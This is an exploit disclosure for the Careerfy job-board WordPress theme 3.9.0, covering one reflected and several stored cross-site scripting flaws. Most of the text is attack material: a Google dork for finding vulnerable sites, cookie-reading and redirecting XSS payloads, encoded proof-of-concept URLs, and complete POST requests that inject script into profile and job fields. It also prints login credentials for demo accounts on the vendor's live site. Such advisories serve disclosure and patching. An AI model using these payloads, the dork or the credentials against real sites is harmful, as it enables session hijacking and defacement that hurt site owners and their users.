[+] Exploit Title: Careerfy - Job Board WordPress Theme v3.9.0 - Multiple Vulnerabilities
[+] Google Dork: inurl:/wp-content/themes/careerfy/
[+] Date: 2020-07-01
[+] Exploit Author: Vlad Vector [ https://vladvector.ru ]
[+] Vendor: Eyecix [ http://eyecix.com ]
[+] Software Version: 3.9.0
[+] Software Link: https://themeforest.net/item/careerfy-job-board-wordpress-theme/21137053
[+] Tested on: Debian 10
[+] CVE: 
[+] CWE: CWE-79



### [ Info: ]

[i] An Unauthenticated Reflected & Multiple Authenticated Persistent XSS vulnerabilities was discovered in the Careerfy Job Board theme through 3.9.0 for WordPress.

[i] An Authenticated Persistent XSS @ Job Page will trigger on the dashboard area /user-dashboard/?tab=manage-jobs and on the job page itself.

[i] Demo account #1 (Candidate @ Careerfy PetCare): vladvector / DJKNFU#$&H#IUFD (login / password)

[i] Demo account #2 (Employer @ Careerfy Job Board): vladvector / DJKNFU#$&H#IUFD (login / password)

[i] Candidate @ PetCare profile URL: https://careerfy.net/petcare/candidate/vladvector/

[i] Employer @ Job Board profile URL: https://careerfy.net/careerbooster/employer/vladvector/

[i] Employer @ Job Board job URL: https://careerfy.net/careerbooster/job/poc/



### [ Vulnerabilities: ]

[x] Unauthenticated Reflected XSS -> /?location=[payload]

[x] Authenticated Persistent XSS -> Candidate Profile (vulnerable fields: Academic Level, Age, Salary, Gender, Industry, Full Address)

[x] Authenticated Persistent XSS -> Employer Profile (vulnerable fields: Member Title, Designation, Experience, Facebook URL, Google+ URL, Twitter URL, LinkedIn URL, Description, Full Address)

[x] Authenticated Persistent XSS -> Job Page (vulnerable fields: Career Level, Experience, Gender, Industry, Qualifications, Job Description, Full Address)



### [ Payloads: ]

[$] " autofocus onfocus=alert(`VLΛDVΞCTOR`);alert(document.cookie);window.location=`https://twitter.com/vlad_vector`; ">

[$] "><img src=x onerror=alert(`VLΛDVΞCTOR`);alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;>

[$] "><img src=x onerror="alert(document.cookie);">



### [ PoC Unauthenticated Reflected XSS: ]

[!] https://careerfy.net/petcare/find-help/?location=%22%20autofocus%20onfocus=alert(`VL%CE%9BDV%CE%9ECTOR`);alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;%20%22%3E&loc_radius=50

[!] GET /petcare/find-help/?location=%22%20autofocus%20onfocus=alert(`VL%CE%9BDV%CE%9ECTOR`);alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;%20%22%3E&loc_radius=50 HTTP/1.1
Host: careerfy.net

[!] https://careerfy.net/careerbooster/jobs-listing/?search_title=&loc_radius=50&location=%22+autofocus+onfocus%3Dalert%28%60VL%CE%9BDV%CE%9ECTOR%60%29%3Balert%28document.cookie%29%3Bwindow.location%3D%60https%3A%2F%2Ftwitter.com%2Fvlad_vector%60%3B+%22%3E&sector_cat=&job_type=part-time

[!] GET /careerbooster/jobs-listing/?search_title=&loc_radius=50&location=%22+autofocus+onfocus%3Dalert%28%60VL%CE%9BDV%CE%9ECTOR%60%29%3Balert%28document.cookie%29%3Bwindow.location%3D%60https%3A%2F%2Ftwitter.com%2Fvlad_vector%60%3B+%22%3E&sector_cat=&job_type=part-time HTTP/1.1
Host: careerfy.net



### [ PoC Authenticated Persistent XSS -> Candidate User Profile: ]

[!] POST /petcare/user-dashboard/?tab=dashboard-settings HTTP/1.1
Host: careerfy.net
Content-Type: multipart/form-data; boundary=---------------------------122256774439635172062989578806
Content-Length: 5335
Origin: https://careerfy.net
Referer: https://careerfy.net/petcare/user-dashboard/?tab=dashboard-settings
Cookie: [cookies_here]

-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="user_cvr_photo_cand"; filename=""
Content-Type: application/octet-stream


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="u_firstname"

Vlad
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="u_lastname"

Vector
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="user_profile_slug"

vladvector
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_user_public_pview"

yes
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_user_dob_whole"

01-07-2020
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="user_phone"

OK
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="dial_code"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="contry_iso_code"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="user_sector"

41
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_candidate_jobtitle"

XSS
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="candidate_salary_type"

type_1
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="candidate_salary"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="candidate_salary_currency"

default
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="candidate_salary_pos"

left
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="candidate_salary_sep"

,
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="candidate_salary_deci"

2
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="user_bio"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="academic-level"

masters-degree"><img src=x onerror=alert(document.cookie);>
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="Age"

18-22-years"><img src=x onerror=alert(document.domain);>
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="salary"

1337"><img src=x onerror=alert(`VLΛDVΞCTOR`);>
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="gender"

hacker"><img src=x onerror=alert(`YAY!`);>
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="industry"

web-security"><img src=x onerror=alert(`VLΛDVΞCTOR`);alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;>
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="cand_user_facebook_url"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="cand_user_twitter_url"

https://twitter.com/vlad_vector
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="cand_user_linkedin_url"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="cand_user_dribbble_url"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_location1"

Russian Federation
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_location2"

Moscow
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_location3"


-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_address"

1337"><img src=x onerror=alert(`VLΛDVΞCTOR`);alert(document.cookie);>
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_lat"

0
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_lng"

0
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="jobsearch_field_location_zoom"

0
-----------------------------122256774439635172062989578806
Content-Disposition: form-data; name="user_settings_form"

1
-----------------------------122256774439635172062989578806--



### [ PoC Authenticated Persistent XSS -> Employer Profile: ]

[!] POST /careerbooster/user-dashboard/?tab=dashboard-settings HTTP/1.1
Host: careerfy.net
Content-Type: multipart/form-data; boundary=---------------------------207058957013654520581670329262
Content-Length: 5853
Origin: https://careerfy.net
Referer: https://careerfy.net/careerbooster/user-dashboard/?tab=dashboard-settings
Cookie: [cookies_here]

-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_cvr_photo"; filename=""
Content-Type: application/octet-stream


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="u_firstname"

Vlad
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="u_lastname"

Vector
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="display_name"

PoC
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_profile_slug"

vladvector
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_user_public_pview"

yes
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_phone"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="dial_code"

7
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="contry_iso_code"

ru
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_website"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_sector"

33
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_dob_mm"

7
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_dob_dd"

1
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_dob_yy"

2020
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_bio"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="founded-since"

2018
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="emp_user_facebook_url"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="emp_user_twitter_url"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="emp_user_linkedin_url"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="emp_user_dribbble_url"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_location1"

Russian Federation
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_location2"

Moscow
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_location3"

Moscow
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_address"

OK"><img src=x onerror=alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_lat"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_lng"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_location_zoom"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="team_image"; filename=""
Content-Type: image/jpeg


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_title[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_designation[]"

1337"><img src=x onerror=alert(document.domain);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_experience[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="team_image"; filename=""
Content-Type: application/octet-stream


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_image[]"


-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_facebook[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_google[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_twitter[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_linkedin[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="jobsearch_field_team_description[]"

1337"><img src=x onerror=alert(document.cookie);>
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="user_settings_form"

1
-----------------------------207058957013654520581670329262
Content-Disposition: form-data; name="terms_cond_check"

on
-----------------------------207058957013654520581670329262--



### [ PoC Authenticated Persistent XSS -> Job Page: ]

[!] POST /careerbooster/user-dashboard/?tab=user-job&job_id=5038&action=update HTTP/1.1
Host: careerfy.net
Content-Type: multipart/form-data; boundary=---------------------------5410881451781327061235735546
Content-Length: 4680
Origin: https://careerfy.net
Referer: https://careerfy.net/careerbooster/user-dashboard/?tab=user-job&job_id=5038&action=update
Cookie: [cookies_here]

-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_title"

PoC
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_detail"

PoC
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="application_deadline"

July 2, 2020 2:48 pm"><img src=x onerror=alert(document.cookie);>
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_sector"

33
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_type"

21
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="get_job_skills[]"

Developer"><img src=x onerror="alert(document.cookie);">
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_apply_type"

internal"><img src=x onerror="alert(document.cookie);">
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_apply_url"


-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_apply_email"


-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_salary_type"

type_1
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_salary"

13
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_max_salary"

13
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_salary_currency"

default
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_salary_pos"

left
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_salary_sep"

,
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_salary_deci"

2
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="offered-salary"


-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="career-level"

officer"><img src=x onerror="alert(document.domain);">
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="experience"

less-than-1-year"><img src=x onerror="alert(document.cookie);">
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="gender"

male"><img src=x onerror="alert(document.domain);">
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="Industry"

development"><img src=x onerror="alert(document.cookie);">
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="qualifications"

certificate"><img src=x onerror=alert(document.domain); >
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="job_attach_files[]"; filename=""
Content-Type: application/octet-stream


-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_location1"

Russian Federation
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_location2"

Moscow
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_location3"

Moscow
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_address"

1337"><img src=x onerror=alert(`VLADVECTOR`);alert(document.cookie);window.location=`https://twitter.com/vlad_vector`; >
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_lat"

55.761035
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_lng"

37.536004
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="jobsearch_field_location_zoom"

9.719789233510344
-----------------------------5410881451781327061235735546
Content-Disposition: form-data; name="user_job_posting"

1
-----------------------------5410881451781327061235735546--



### [ Contacts: ]

[#] Website: vladvector.ru
[#] Telegram: @vladvector
[#] Twitter: @vlad_vector
[#] GitHub: @vladvector